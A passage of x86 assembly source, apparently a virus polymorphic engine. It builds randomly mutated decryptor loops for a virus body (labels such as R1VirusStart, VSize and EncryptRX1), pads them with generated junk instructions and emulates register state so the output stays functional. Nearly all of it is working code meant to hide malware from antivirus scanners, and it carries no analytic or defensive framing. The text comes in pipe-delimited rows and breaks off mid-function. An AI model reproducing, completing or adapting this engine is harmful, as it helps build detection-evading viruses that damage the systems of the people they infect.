|||
|
; esi = Data to polymorph
|
|||
|
; edi = where to put the created data
|
|||
|
|
|||
|
; Returns
|
|||
|
; esi = start of created data
|
|||
|
; edi = end of created data/start of created code
|
|||
|
; eax = size of the created code
|
|||
|
|
|||
|
; Defined opcode looks
|
|||
|
Op_add equ 'add '
|
|||
|
Op_and equ 'and '
|
|||
|
Op_mov equ 'mov '
|
|||
|
Op_or equ 'or '
|
|||
|
Op_sub equ 'sub '
|
|||
|
Op_xor equ 'xor '
|
|||
|
|
|||
|
|
|||
|
Op_cmp equ 'cmp '
|
|||
|
Op_jnz equ 'jnz '
|
|||
|
Op_jnb equ 'jnb '
|
|||
|
Op_jna equ 'jna '
|
|||
|
Op_jmp equ 'jmp '
|
|||
|
|
|||
|
Op_offset equ 'ofs '
|
|||
|
Op_db equ 'db ' ; output whats in there,
|
|||
|
; dont polymorph,
|
|||
|
; dont compile
|
|||
|
|
|||
|
Op_dontparse equ '!emu' ; dont polymorph only
|
|||
|
; compile
|
|||
|
|
|||
|
|
|||
|
; special opcodes
|
|||
|
Op_encrypt equ 'cpt ' ; encrypt this operand,
|
|||
|
; used to create encryptor/
|
|||
|
; decryptor
|
|||
|
|
|||
|
Op_setinfo equ 'nfo ' ; set info of operand
|
|||
|
; used to define a operand
|
|||
|
; changable or similar.
|
|||
|
Op_prefix equ 'pfx ' ; prefix, eg fs:, es: and
|
|||
|
; similar. Will be deleted
|
|||
|
; in future versions
|
|||
|
|
|||
|
Op_trash equ 'trsh' ; how mush trash to be
|
|||
|
; produced, use wisely
|
|||
|
; to make your code better
|
|||
|
; or when you need to save
|
|||
|
; the flags
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
LinkedListPolymorpher:
|
|||
|
call TablePolymorpher ; 'old' style polymorphics
|
|||
|
|
|||
|
; esi -> created data
|
|||
|
; edi -> created data+sizeof (created data)+1
|
|||
|
ret
|
|||
|
|
|||
|
Polymorph:
|
|||
|
add edi,16
|
|||
|
and edi,0fffffff0h
|
|||
|
push edi
|
|||
|
push edi
|
|||
|
|
|||
|
call MutateCode ; Generic polymorphing
|
|||
|
pop edi
|
|||
|
; esi -> created data
|
|||
|
call Optimize ; Optimize the created code
|
|||
|
|
|||
|
; esi -> created data
|
|||
|
; edi -> created data+sizeof (created data)+1
|
|||
|
push edi
|
|||
|
|
|||
|
call Compile ; compile the code to get
|
|||
|
; the size
|
|||
|
|
|||
|
pop edi
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Regs equ 6
|
|||
|
Registers equ Regs
|
|||
|
InfoPtr equ 16
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; This polymorher is a bit different from the usuall one.
|
|||
|
; It's able to create code that does different things, not just
|
|||
|
; the same with a different look.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
TablePolymorpher:
|
|||
|
; A nice recursive function :)
|
|||
|
xor eax,eax
|
|||
|
xor ecx,ecx
|
|||
|
push edi
|
|||
|
push 0
|
|||
|
ReadInstruction: ; 'execute' function
|
|||
|
mov cl, byte ptr [esi] ; How many bytes to output
|
|||
|
inc esi
|
|||
|
rep movsb
|
|||
|
|
|||
|
ParseCall: ; end of this function,
|
|||
|
; should we call an other
|
|||
|
lodsb
|
|||
|
test eax,eax
|
|||
|
jz ReturnFromCall ; no, return
|
|||
|
|
|||
|
|
|||
|
lea ebx,[esi+eax*4]
|
|||
|
push ebx ; push return address
|
|||
|
|
|||
|
call Random
|
|||
|
mov esi,[esi+eax*4] ; address of the function
|
|||
|
add esi,ebp
|
|||
|
jmp ReadInstruction ; jmp to function 'executer'
|
|||
|
|
|||
|
ReturnFromCall:
|
|||
|
pop esi ; return from main function
|
|||
|
test esi,esi
|
|||
|
jnz ParseCall
|
|||
|
|
|||
|
NoMoreParsing:
|
|||
|
xor eax,eax
|
|||
|
stosd
|
|||
|
stosd
|
|||
|
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
|
|||
|
Decryptor:
|
|||
|
db 0
|
|||
|
|
|||
|
db 1
|
|||
|
dd R0VSize
|
|||
|
; dd R0Zero
|
|||
|
|
|||
|
db 1
|
|||
|
dd MovePoinerToProgramStart
|
|||
|
|
|||
|
|
|||
|
|
|||
|
db 0
|
|||
|
|
|||
|
MovePoinerToProgramStart:
|
|||
|
db MovePoinerToProgramStartEnd-$-1
|
|||
|
db "trsh",LinesOfTrash
|
|||
|
|
|||
|
db "mov R1,[N"
|
|||
|
dd 1
|
|||
|
db "]"
|
|||
|
|
|||
|
MovePoinerToProgramStartEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
R0VSize:
|
|||
|
db R0VSizeEnd-$-1
|
|||
|
db "mov RX0,N"
|
|||
|
dd VSize
|
|||
|
R0VSizeEnd:
|
|||
|
|
|||
|
db 2
|
|||
|
dd R1VirusStart
|
|||
|
dd R1VirusEnd
|
|||
|
|
|||
|
db 1
|
|||
|
dd EncryptRX1
|
|||
|
|
|||
|
db 1
|
|||
|
dd SubR0AndJump
|
|||
|
db 0
|
|||
|
|
|||
|
SubR0AndJump:
|
|||
|
db SubR0AndJumpEnd-$-1
|
|||
|
db "db ",1 ; Bytes not to be morphed
|
|||
|
popad
|
|||
|
|
|||
|
db "trsh",0
|
|||
|
db "sub RX0,N"
|
|||
|
dd 4
|
|||
|
|
|||
|
db "!emu",9 ; dont do anything about this
|
|||
|
db "jnb N"
|
|||
|
dd 0
|
|||
|
SubR0AndJumpEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
R0Zero:
|
|||
|
db R0ZeroEnd-$-1
|
|||
|
db "mov RX0,N"
|
|||
|
dd 0
|
|||
|
R0ZeroEnd:
|
|||
|
|
|||
|
db 2
|
|||
|
dd R1VirusStart
|
|||
|
dd R1VirusEnd
|
|||
|
|
|||
|
db 1
|
|||
|
dd EncryptRX1
|
|||
|
|
|||
|
db 1
|
|||
|
dd AddR0AndJump
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
AddR0AndJump:
|
|||
|
db AddR0AndJumpEnd-$-1
|
|||
|
|
|||
|
db "db ",1 ; Bytes not to be morphed
|
|||
|
popad
|
|||
|
|
|||
|
db "add RX0,N"
|
|||
|
dd 4
|
|||
|
|
|||
|
db "trsh",0
|
|||
|
db "!emu",13 ; dont do anything about this
|
|||
|
db "cmp RX0,N"
|
|||
|
dd VSize
|
|||
|
|
|||
|
db "!emu",9 ; dont do anything about this
|
|||
|
db "jna N"
|
|||
|
dd 0
|
|||
|
|
|||
|
AddR0AndJumpEnd:
|
|||
|
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
R1VirusStart:
|
|||
|
db R1VirusStartEnd-$-1
|
|||
|
db "mov RX1,[N"
|
|||
|
dd 3
|
|||
|
db "]"
|
|||
|
|
|||
|
db "ofs 0"
|
|||
|
|
|||
|
db "db ",1
|
|||
|
pushad
|
|||
|
|
|||
|
db "nfo RX2"
|
|||
|
dd Undefined
|
|||
|
|
|||
|
db "add RX1,RX0"
|
|||
|
|
|||
|
R1VirusStartEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
R1VirusEnd:
|
|||
|
db R1VirusEndEnd-$-1
|
|||
|
db "mov RX1,[N"
|
|||
|
dd 3
|
|||
|
db "]"
|
|||
|
|
|||
|
db "add RX1,N"
|
|||
|
dd VSize
|
|||
|
|
|||
|
db "ofs 0"
|
|||
|
|
|||
|
db "db ",1
|
|||
|
pushad
|
|||
|
|
|||
|
db "nfo RX2"
|
|||
|
dd Undefined
|
|||
|
|
|||
|
db "sub RX1,RX0"
|
|||
|
R1VirusEndEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
EncryptRX1:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
db 1
|
|||
|
dd RandomReg
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
OpcodeXor:
|
|||
|
db 4
|
|||
|
db "xor "
|
|||
|
db 0
|
|||
|
|
|||
|
OpcodeAdd:
|
|||
|
db 4
|
|||
|
db "add "
|
|||
|
db 0
|
|||
|
|
|||
|
OpcodeSub:
|
|||
|
db 4
|
|||
|
db "sub "
|
|||
|
db 0
|
|||
|
|
|||
|
RandomReg:
|
|||
|
db 0
|
|||
|
db 1
|
|||
|
dd RandomOpcode
|
|||
|
|
|||
|
db 1
|
|||
|
dd RandomizeMemWithReg
|
|||
|
db 0
|
|||
|
|
|||
|
RandomizeMemWithReg:
|
|||
|
db RandomizeMemWithRegEnd-$-1
|
|||
|
db "[RX1],N"
|
|||
|
RandomNumber dd 0
|
|||
|
RandomizeMemWithRegEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
RandomOpcode:
|
|||
|
db 0
|
|||
|
db 3
|
|||
|
dd OpcodeXor
|
|||
|
dd OpcodeAdd
|
|||
|
dd OpcodeSub
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Guide:
|
|||
|
db DefinedTrash-$-1
|
|||
|
db "trsh",LinesOfTrash
|
|||
|
DefinedTrash:
|
|||
|
|
|||
|
db 1
|
|||
|
; dd RandomEveryBoot
|
|||
|
dd RandomEveryTime
|
|||
|
|
|||
|
db 1
|
|||
|
dd MakeZeroOrEight
|
|||
|
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
RandomEveryTime:
|
|||
|
db RandomEveryTimeEnd-$-1
|
|||
|
db "pfx ",64h ; prefix fs:
|
|||
|
|
|||
|
db "mov RX0,[N"
|
|||
|
dd PointerToRandomMemory
|
|||
|
db "]" ; mov X0, fs:[0ch]
|
|||
|
RandomEveryTimeEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
RandomEveryBoot:
|
|||
|
db RandomEveryBootEnd-$-1
|
|||
|
db "nfo R"
|
|||
|
RandomEveryBootEnd:
|
|||
|
db 3
|
|||
|
dd RndEcx
|
|||
|
dd RndEdi
|
|||
|
dd RndEsi
|
|||
|
|
|||
|
db 0
|
|||
|
|
|||
|
RndEcx:
|
|||
|
db RndEcxEnd-$-1
|
|||
|
db "3"
|
|||
|
dd Undefined
|
|||
|
db "mov RX0,R3"
|
|||
|
RndEcxEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
RndEdi:
|
|||
|
db RndEdiEnd-$-1
|
|||
|
db "5"
|
|||
|
dd Undefined
|
|||
|
db "mov RX0,R5"
|
|||
|
RndEdiEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
RndEsi:
|
|||
|
db RndEsiEnd-$-1
|
|||
|
db "6"
|
|||
|
dd Undefined
|
|||
|
db "mov RX0,R6"
|
|||
|
RndEsiEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
MakeZeroOrEight:
|
|||
|
db MakeZeroOrEight-$-1
|
|||
|
|
|||
|
db "and RX0,N"
|
|||
|
dd 8
|
|||
|
|
|||
|
db "add RX0,[N" ; special variable 1 =
|
|||
|
dd 1 ; pointer to jump table
|
|||
|
|
|||
|
db "]"
|
|||
|
db "jmp [RX0]" ; jmp [X0]
|
|||
|
MakeZeroOrEightEnd:
|
|||
|
db 0
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ---------------------------------------------
|
|||
|
; ---------------- MutateCode -----------------
|
|||
|
; ---------------------------------------------
|
|||
|
; ------------- Local variables
|
|||
|
|
|||
|
Prefix dd 0
|
|||
|
|
|||
|
EndWhere:
|
|||
|
Trash dd 0
|
|||
|
ToReg dd 0
|
|||
|
ToMemValue dd 0
|
|||
|
ToMemReg dd 0
|
|||
|
|
|||
|
FromWhere:
|
|||
|
FromValue dd 0
|
|||
|
FromReg dd 0
|
|||
|
FromMemValue dd 0
|
|||
|
FromMemReg dd 0
|
|||
|
|
|||
|
TempWhere:
|
|||
|
TempValue dd 0
|
|||
|
TempReg dd 0
|
|||
|
TestMemValue dd 0
|
|||
|
TestMemReg dd 0
|
|||
|
|
|||
|
Temp1 dd 0
|
|||
|
Temp2 dd 0
|
|||
|
|
|||
|
|
|||
|
Writeable equ 1b
|
|||
|
Undefined equ 10b ; is has a unknown value
|
|||
|
Uninitialized equ -1
|
|||
|
TableSize equ EbxTable-EaxTable
|
|||
|
|
|||
|
EndValue dd 0
|
|||
|
EndTypeOfValue dd 0
|
|||
|
|
|||
|
|
|||
|
Tables: ; pointers to the different
|
|||
|
; tables
|
|||
|
RegTables dd EaxTable
|
|||
|
MemoryTables dd 0 ; Is allocated later
|
|||
|
StackTables dd 0 ; first table is EspTable
|
|||
|
|
|||
|
EaxTable:
|
|||
|
EaxValueNumber dd 0
|
|||
|
EaxValueReg dd 0
|
|||
|
EaxMemoryNumber dd 0
|
|||
|
EaxMemoryReg dd 0
|
|||
|
EaxInformation dd Undefined+Writeable
|
|||
|
|
|||
|
EbxTable:
|
|||
|
dd 0,0,0,0, Undefined+Writeable
|
|||
|
EcxTable:
|
|||
|
dd 0,0,0,0, Undefined+Writeable
|
|||
|
EdxTable:
|
|||
|
dd 0,0,0,0, Undefined+Writeable
|
|||
|
EsiTable:
|
|||
|
dd 0,0,0,0, Undefined+Writeable
|
|||
|
EdiTable:
|
|||
|
dd 0,0,0,0, Undefined+Writeable
|
|||
|
|
|||
|
; this table is copied to mem, its used to define
|
|||
|
; starting values for the memory
|
|||
|
; Undefined mem start as Undefined+Writeable (you could change this to
|
|||
|
; only writable for slightly better code.)
|
|||
|
|
|||
|
Mem1Table:
|
|||
|
db 4 ; how many tables
|
|||
|
|
|||
|
db 0 ; which table
|
|||
|
dd 0,0,0,0, Undefined ; program entry point
|
|||
|
|
|||
|
db 1
|
|||
|
dd 0,0,0,0, Undefined ; pointer to mem 0
|
|||
|
|
|||
|
db 2
|
|||
|
dd 0,0,0,0, Undefined ; decryptor entry point
|
|||
|
|
|||
|
db 3
|
|||
|
dd 0,0,0,0, Undefined ; where to start decrypt
|
|||
|
|
|||
|
|
|||
|
RandomRegs:
|
|||
|
dd Registers dup (-1) ; Random Regs
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; mutates the code in esi and places the result in edi
|
|||
|
; returns a pointer to the created code in esi
|
|||
|
; returns a pointer to the created code + sizeof(created code) in edi
|
|||
|
MutateCode:
|
|||
|
push edi
|
|||
|
|
|||
|
MorphCodeLoop:
|
|||
|
xor eax,eax
|
|||
|
dec eax
|
|||
|
push edi
|
|||
|
lea edi,[ebp+EndWhere]
|
|||
|
mov ecx,8
|
|||
|
rep stosd
|
|||
|
pop edi
|
|||
|
|
|||
|
call Parse
|
|||
|
jmp MorphCodeLoop
|
|||
|
|
|||
|
|
|||
|
MutateEnd:
|
|||
|
pop eax ; return address of Parse
|
|||
|
pop esi
|
|||
|
add esi,16
|
|||
|
and esi,0fffffff0h
|
|||
|
add edi,10
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; ----------------------- Parser
|
|||
|
|
|||
|
ParseSpecialVariables:
|
|||
|
dd (ParseSpecialVariablesEnd-ParseSpecialVariables-4)/4+1
|
|||
|
dd Op_db, Op_encrypt, Op_setinfo, Op_offset, Op_prefix
|
|||
|
dd Op_trash,Op_dontparse,Op_jmp
|
|||
|
ParseSpecialVariablesEnd:
|
|||
|
|
|||
|
ParseSpecialProcedures:
|
|||
|
dd ParseDeclareByte, ParseEncrypt, ParseChangeInfo
|
|||
|
dd ParseSaveOffset, ParsePrefix, ParseTrash, ParseDontParse
|
|||
|
dd TemporaryParseJump
|
|||
|
ParseSpecialProceduresEnd:
|
|||
|
|
|||
|
ParseInstructionData:
|
|||
|
dd (ParseInstructionDataEnd-ParseInstructionData-4)/4+1
|
|||
|
dd Op_add, Op_mov, Op_sub, Op_or, Op_xor, Op_and
|
|||
|
ParseInstructionDataEnd:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
AddPos equ 0
|
|||
|
MovPos equ 1
|
|||
|
SubPos equ 2
|
|||
|
OrPos equ 3
|
|||
|
XorPos equ 4
|
|||
|
AndPos equ 5
|
|||
|
|
|||
|
|
|||
|
InstructionData:
|
|||
|
AddInfo:
|
|||
|
dd offset AddInstruction
|
|||
|
dd Op_add
|
|||
|
|
|||
|
MovInfo:
|
|||
|
dd offset MovInstruction
|
|||
|
dd Op_mov
|
|||
|
|
|||
|
SubInfo:
|
|||
|
dd offset SubInstruction
|
|||
|
dd Op_sub
|
|||
|
|
|||
|
OrInfo:
|
|||
|
dd offset OrInstruction
|
|||
|
dd Op_or
|
|||
|
|
|||
|
XorInfo:
|
|||
|
dd offset XorInstruction
|
|||
|
dd Op_xor
|
|||
|
|
|||
|
AndInfo:
|
|||
|
dd offset AndInstruction
|
|||
|
dd Op_and
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
InstuctionTablesEnd:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Parse:
|
|||
|
push edi
|
|||
|
mov ecx,[ParseSpecialVariables+ebp]
|
|||
|
lea edi,[ParseSpecialVariables+ebp+4]
|
|||
|
|
|||
|
|
|||
|
|
|||
|
lodsd
|
|||
|
bswap eax
|
|||
|
|
|||
|
repnz scasd
|
|||
|
test ecx,ecx
|
|||
|
jz ParseInstruction
|
|||
|
|
|||
|
pop edi
|
|||
|
lea ebx,[ParseSpecialProceduresEnd+ebp]
|
|||
|
imul ecx,ecx,4
|
|||
|
sub ebx,ecx
|
|||
|
mov ebx,[ebx]
|
|||
|
add ebx,ebp
|
|||
|
jmp ebx
|
|||
|
|
|||
|
|
|||
|
ParseDeclareByte:
|
|||
|
mov edx,Op_db
|
|||
|
call OutputOnlyOpcode
|
|||
|
xor eax,eax
|
|||
|
lodsb
|
|||
|
mov ecx,eax
|
|||
|
stosb ; number of bytes to declare
|
|||
|
rep movsb
|
|||
|
ret
|
|||
|
|
|||
|
ParseEncrypt:
|
|||
|
call GetOperand
|
|||
|
ret
|
|||
|
|
|||
|
ParseChangeInfo:
|
|||
|
mov eax,666666h
|
|||
|
call GetOperand
|
|||
|
mov ecx,eax
|
|||
|
lodsd
|
|||
|
xchg eax,ecx
|
|||
|
call ChangeInfo
|
|||
|
ret
|
|||
|
|
|||
|
ParseSaveOffset:
|
|||
|
mov edx,Op_offset
|
|||
|
call OutputOnlyOpcode
|
|||
|
movsb
|
|||
|
ret
|
|||
|
|
|||
|
ParsePrefix:
|
|||
|
xor eax,eax
|
|||
|
lodsb
|
|||
|
mov [Prefix+ebp],eax
|
|||
|
ret
|
|||
|
|
|||
|
ParseTrash:
|
|||
|
xor eax,eax
|
|||
|
lodsb
|
|||
|
mov [HowMuchTrash+ebp],eax
|
|||
|
ret
|
|||
|
|
|||
|
ParseDontParse:
|
|||
|
xor eax,eax
|
|||
|
lodsb
|
|||
|
mov ecx,eax
|
|||
|
add edi,16
|
|||
|
and edi,0fffffff0h
|
|||
|
rep movsb
|
|||
|
ret
|
|||
|
|
|||
|
TemporaryParseJump:
|
|||
|
add edi,16
|
|||
|
and edi,0fffffff0h
|
|||
|
|
|||
|
call OutputPrefix
|
|||
|
mov eax,Op_jmp
|
|||
|
bswap eax
|
|||
|
stosd
|
|||
|
|
|||
|
call GetOperand
|
|||
|
|
|||
|
add eax,'0'
|
|||
|
add eax,']'*256
|
|||
|
shl eax,16
|
|||
|
mov ax,'R['
|
|||
|
stosd
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ParseInstruction:
|
|||
|
mov ecx,[ParseInstructionData+ebp]
|
|||
|
lea edi,[ParseInstructionData+ebp+4]
|
|||
|
repnz scasd
|
|||
|
pop edi
|
|||
|
test ecx,ecx
|
|||
|
jz MutateEnd
|
|||
|
|
|||
|
|
|||
|
lea ebx,[InstuctionTablesEnd+ebp]
|
|||
|
imul ecx,ecx,8
|
|||
|
|
|||
|
sub ebx,ecx
|
|||
|
push ebx
|
|||
|
|
|||
|
ParseOperands:
|
|||
|
call GetOperand
|
|||
|
sub ebx,4
|
|||
|
|
|||
|
push ebx ; ToType
|
|||
|
push eax ; ToOperand
|
|||
|
|
|||
|
inc esi
|
|||
|
call GetOperand
|
|||
|
push ebx ; FromTypeOfValue
|
|||
|
push eax ; FromOperand
|
|||
|
|
|||
|
mov [EndValue+ebp],eax
|
|||
|
mov [EndTypeOfValue+ebp],ebx
|
|||
|
|
|||
|
call GenerateTrash
|
|||
|
|
|||
|
mov eax,[esp+8] ; ToOperand
|
|||
|
mov ebx,[esp+12] ; ToType
|
|||
|
mov ecx,Writeable
|
|||
|
call DeleteFromInfo
|
|||
|
|
|||
|
pop [FromOperand+ebp]
|
|||
|
pop [FromTypeOfValue+ebp]
|
|||
|
|
|||
|
pop eax
|
|||
|
pop ebx
|
|||
|
mov [ToOperand+ebp],eax
|
|||
|
mov [ToType+ebp],ebx
|
|||
|
|
|||
|
mov ecx,Writeable
|
|||
|
call DeleteFromInfo
|
|||
|
|
|||
|
|
|||
|
pop [EmulateInstruction+ebp]
|
|||
|
|
|||
|
call OutputPrefix
|
|||
|
call EmuProc
|
|||
|
|
|||
|
call GenerateTrash
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
; return
|
|||
|
; eax = register or number
|
|||
|
; ebx =
|
|||
|
; 0 = value/number
|
|||
|
; 4 = value/register
|
|||
|
; 8 = memory/number
|
|||
|
; 12 = memory/register
|
|||
|
|
|||
|
|
|||
|
; return
|
|||
|
; EBX = 0 if value and 4 if memory
|
|||
|
; |'V' or 'M'
|
|||
|
; |
|
|||
|
; db "M"
|
|||
|
ReadTypeOfData:
|
|||
|
xor eax,eax
|
|||
|
xor ebx,ebx
|
|||
|
lodsb
|
|||
|
cmp al,'M'
|
|||
|
sete bl
|
|||
|
shl bl,3
|
|||
|
ret
|
|||
|
|
|||
|
; return
|
|||
|
; EAX = the number or register
|
|||
|
; EBX = 0 if number and 4 if register
|
|||
|
|
|||
|
; This procedure is in the "copy to ring 0" mem.
|
|||
|
|
|||
|
;GetOperand:
|
|||
|
; xor edx,edx
|
|||
|
; mov al,byte ptr [esi]
|
|||
|
; cmp al,'['
|
|||
|
; setz dl
|
|||
|
; mov ecx,edx
|
|||
|
; add esi,edx
|
|||
|
; shl edx,3
|
|||
|
; mov ebx,edx ; ebx = 0 or 8
|
|||
|
|
|||
|
; lodsb
|
|||
|
; cmp al,'S' ; A variable
|
|||
|
; jnz Label53
|
|||
|
|
|||
|
; mov eax,[PointerToDataSlack+ebp]
|
|||
|
; mov edx,[esi]
|
|||
|
; mov eax,[eax+edx*4]
|
|||
|
; mov [esi],eax
|
|||
|
; mov eax,'V'
|
|||
|
; xor edx,edx
|
|||
|
;
|
|||
|
; Label53:
|
|||
|
; cmp al,'R'
|
|||
|
; setz dl
|
|||
|
; shl edx,2
|
|||
|
; add ebx,edx ; ebx = ebx + (0 or 4)
|
|||
|
;
|
|||
|
; test edx,edx ; is value
|
|||
|
; jz ReadValue
|
|||
|
;
|
|||
|
; xor eax,eax
|
|||
|
; lodsb ; read register
|
|||
|
|
|||
|
; cmp al,'X'
|
|||
|
; jz GetRandomReg
|
|||
|
|
|||
|
; sub eax,'0'
|
|||
|
|
|||
|
; add esi,ecx
|
|||
|
; ret
|
|||
|
|
|||
|
; ReadValue:
|
|||
|
; lodsd
|
|||
|
; add esi,ecx
|
|||
|
; ret
|
|||
|
|
|||
|
|
|||
|
GetRandomReg:
|
|||
|
push ebx
|
|||
|
call AsciiToNum
|
|||
|
add esi,ecx
|
|||
|
shl eax, 2
|
|||
|
lea eax,[eax+ebp+RandomRegs] ; eax -> RandomReg
|
|||
|
mov ebx,[eax]
|
|||
|
|
|||
|
cmp ebx,Uninitialized
|
|||
|
jz GetRandomRegPtrInitialize ; There is no RnR
|
|||
|
; Xx, create one
|
|||
|
xchg eax,ebx ; eax = Xx
|
|||
|
pop ebx
|
|||
|
ret
|
|||
|
|
|||
|
GetRandomRegPtrInitialize:
|
|||
|
push eax
|
|||
|
|
|||
|
|
|||
|
call GetWriteableReg
|
|||
|
pop ebx
|
|||
|
|
|||
|
mov [ebx],eax ; Mov RR,Random Operand
|
|||
|
pop ebx
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; -----------------------------------------------
|
|||
|
; ---------------------------- Generic polymorher
|
|||
|
; -----------------------------------------------
|
|||
|
|
|||
|
; This proc takes data from WhereFrom and WhereTo and
|
|||
|
; creates instructions from that data.
|
|||
|
|
|||
|
HowMuchTrash dd LinesOfTrash
|
|||
|
|
|||
|
RandomProcs:
|
|||
|
db 6 ; number of instructions
|
|||
|
|
|||
|
db 6 ; how often it should come up
|
|||
|
db 2
|
|||
|
db 1
|
|||
|
db 1
|
|||
|
db 1
|
|||
|
db 1
|
|||
|
|
|||
|
dd MovPos
|
|||
|
dd AddPos
|
|||
|
dd SubPos
|
|||
|
dd OrPos
|
|||
|
dd XorPos
|
|||
|
dd AndPos
|
|||
|
|
|||
|
|
|||
|
|
|||
|
GenerateTrash:
|
|||
|
mov eax,[HowMuchTrash+ebp] ; 1/LinesOfTrash that we
|
|||
|
; stop creating trash
|
|||
|
inc eax
|
|||
|
call Random
|
|||
|
|
|||
|
test eax,eax
|
|||
|
jz Return
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
call GetWriteable
|
|||
|
mov [ToOperand+ebp],eax
|
|||
|
mov [ToType+ebp],ebx
|
|||
|
|
|||
|
call RandomOperand
|
|||
|
mov [FromOperand+ebp],eax
|
|||
|
mov [FromTypeOfValue+ebp],ebx
|
|||
|
|
|||
|
lea ebx,[RandomProcs+ebp]
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
xor ecx,ecx
|
|||
|
xor edx,edx
|
|||
|
mov cl, byte ptr [ebx]
|
|||
|
|
|||
|
Label36:
|
|||
|
inc ebx
|
|||
|
mov dl, byte ptr [ebx]
|
|||
|
add eax,edx
|
|||
|
loop Label36
|
|||
|
|
|||
|
call Random
|
|||
|
|
|||
|
lea ebx,[RandomProcs+ebp]
|
|||
|
|
|||
|
Label37:
|
|||
|
inc ebx
|
|||
|
mov dl, byte ptr [ebx]
|
|||
|
sub eax, edx
|
|||
|
jnc Label37
|
|||
|
|
|||
|
lea eax,[RandomProcs+ebp]
|
|||
|
sub ebx,eax
|
|||
|
dec ebx
|
|||
|
shl ebx,2
|
|||
|
inc ebx
|
|||
|
|
|||
|
mov dl,byte ptr [eax]
|
|||
|
add ebx,edx
|
|||
|
add ebx,eax
|
|||
|
|
|||
|
mov ebx,[ebx]
|
|||
|
|
|||
|
lea ebx,[InstructionData+ebx*8+ebp]
|
|||
|
|
|||
|
mov [EmulateInstruction+ebp],ebx
|
|||
|
call EmuProc
|
|||
|
jmp GenerateTrash
|
|||
|
|
|||
|
|
|||
|
; ------------------------------------------------
|
|||
|
; ---------------------------- Emulation functions
|
|||
|
; ------------------------------------------------
|
|||
|
|
|||
|
AddInstruction:
|
|||
|
add [eax+edx],ecx
|
|||
|
ret
|
|||
|
|
|||
|
SubInstruction:
|
|||
|
sub [eax+edx],ecx
|
|||
|
ret
|
|||
|
|
|||
|
MovInstruction:
|
|||
|
xor ebx,ebx
|
|||
|
mov dword ptr [eax],ebx
|
|||
|
mov dword ptr [eax+4],ebx
|
|||
|
mov dword ptr [eax+8],ebx
|
|||
|
mov dword ptr [eax+12],ebx
|
|||
|
|
|||
|
mov [eax+edx],ecx
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
OrInstruction:
|
|||
|
or [eax+edx],ecx
|
|||
|
ret
|
|||
|
|
|||
|
XorInstruction:
|
|||
|
xor [eax+edx],ecx
|
|||
|
ret
|
|||
|
|
|||
|
AndInstruction:
|
|||
|
and [eax+edx],ecx
|
|||
|
ret
|
|||
|
|
|||
|
EmulateInstruction dd 0
|
|||
|
|
|||
|
ToOperand dd 0
|
|||
|
ToType dd 0
|
|||
|
|
|||
|
FromOperand dd 0
|
|||
|
FromTypeOfValue dd 0
|
|||
|
|
|||
|
EmuProc:
|
|||
|
|
|||
|
ChangeRegPart:
|
|||
|
mov eax,[ToOperand+ebp]
|
|||
|
mov ebx,[ToType+ebp]
|
|||
|
|
|||
|
mov edx,[EmulateInstruction+ebp]
|
|||
|
mov edx,[edx+4]
|
|||
|
shr ebx,2
|
|||
|
inc ebx
|
|||
|
call OutputOpcode
|
|||
|
dec ebx
|
|||
|
shl ebx,2
|
|||
|
|
|||
|
call UndefineDependentOperands
|
|||
|
|
|||
|
pushad
|
|||
|
mov ebx,[EmulateInstruction+ebp]
|
|||
|
mov ebx,[ebx+4]
|
|||
|
|
|||
|
cmp ebx,Op_mov
|
|||
|
jnz Label34
|
|||
|
|
|||
|
mov eax,[ToOperand+ebp]
|
|||
|
